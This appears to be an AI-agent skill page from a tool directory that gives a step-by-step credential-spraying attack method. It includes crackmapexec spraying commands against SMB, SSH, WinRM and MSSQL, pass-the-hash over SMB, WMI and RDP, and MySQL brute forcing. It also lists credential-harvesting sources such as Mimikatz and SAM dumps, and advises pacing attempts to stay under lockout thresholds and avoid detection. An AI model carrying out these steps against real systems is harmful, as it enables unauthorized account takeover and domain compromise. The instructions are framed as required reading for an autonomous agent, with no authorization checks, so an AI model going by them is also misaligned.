SuperAPI AI Directory

cred-spray

Security & auditing

View repository

Updated 10-16 04:39

About this skill

Credential spraying attack methodology

⛔ In-depth reference (required reading)


Credential spraying is different from brute force—brute force tries many passwords against one account, while credential spraying istrying one password against many accounts. The latter is less likely to trigger account lockout.

Phase 1: Credential inventory

1.1 Consolidate existing credentials

Use evidence_list + evidence_read(filter credential type) to obtain all collected credentials.

Summary of credential sources:

Source Credential type Acquisition method
Configuration file Plaintext password Database connection strings, .env files
LSASS memory NTLM hash/plaintext Mimikatz
SAM database NTLM hash reg save + secretsdump
Browser Plaintext password Chrome Login Data
SSH key Private key ~/.ssh/id_rsa
Command history Plaintext password .bash_history
Kerberos TGS ticket Kerberoasting

1.2 Build credential dictionary

Organize the collected credentials into:

  • Username list
  • Password list (plaintext + common variants such as Password1! → Password2!)
  • Hash list (for PTH)

Phase 2: Spraying strategy

2.1 Password spraying (avoid lockout)

Key principle: try only one password at a time, wait for an interval, then try the next one.

# 使用 crackmapexec 对 SMB 喷洒
cme smb 10.0.0.0/24 -u userlist.txt -p 'Password123!' --continue-on-success

# 单密码多用户(安全)
cme smb DC_IP -u userlist.txt -p 'Summer2024!' --continue-on-success

# 多密码时设置间隔(通常锁定策略是 30 分钟 5 次)
# 每次只试一个密码,间隔 35 分钟

2.2 Pass-the-Hash (PTH)

With an NTLM hash, no plaintext password is needed:

# SMB
cme smb 10.0.0.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:HASH'

# WMI
cme wmi TARGET -u administrator -H HASH

# RDP (Restricted Admin 模式)
xfreerdp /v:TARGET /u:administrator /pth:HASH

2.3 Multi-service spraying

Try the same credentials against different services:

# SSH
cme ssh 10.0.0.0/24 -u admin -p 'password'

# WinRM
cme winrm 10.0.0.0/24 -u admin -p 'password'

# MSSQL
cme mssql 10.0.0.0/24 -u sa -p 'password'

# MySQL
# MySQL(使用 nuclei 自定义模板爆破)
echo 'root' | nuclei -u mysql://10.0.0.1:3306 -t ~/nuclei-templates/brute/ 2>/dev/null || \
  mysql -h 10.0.0.1 -u root -p'password' -e "SELECT 1"

Phase 3: Result analysis

Save successful credentials with evidence_save then evaluate:

  • Local administrator → can be used for lateral movement to that host
  • Domain user → can be used for access to domain resources
  • Domain administrator → game over, directly control the entire domain
  • Service account → may have special privileges (database/backup, etc.)

Phase 4: Password pattern analysis

Look for patterns in the passwords already obtained:

  • Company name + year:Company2024!
  • Season + year:Summer2024!, Winter2024
  • Keyboard pattern:Qwer1234!, P@ssw0rd
  • Username variant:john → John123!

Use the discovered patterns to generate more candidate passwords for spraying.

Notes

  • Understand the target's account lockout policy (net accounts /domain)
  • Typical policy: 5 failed attempts locks for 30 minutes → at most 4 attempts every 35 minutes
  • Prioritize spraying high-value targets (domain controllers/databases/backup servers)
  • PTH does not trigger account lockout (it does not go through password verification)

Lockout policy awareness

  • Keep the number of attempts within 4 (below the threshold of 5) to avoid triggering account lockout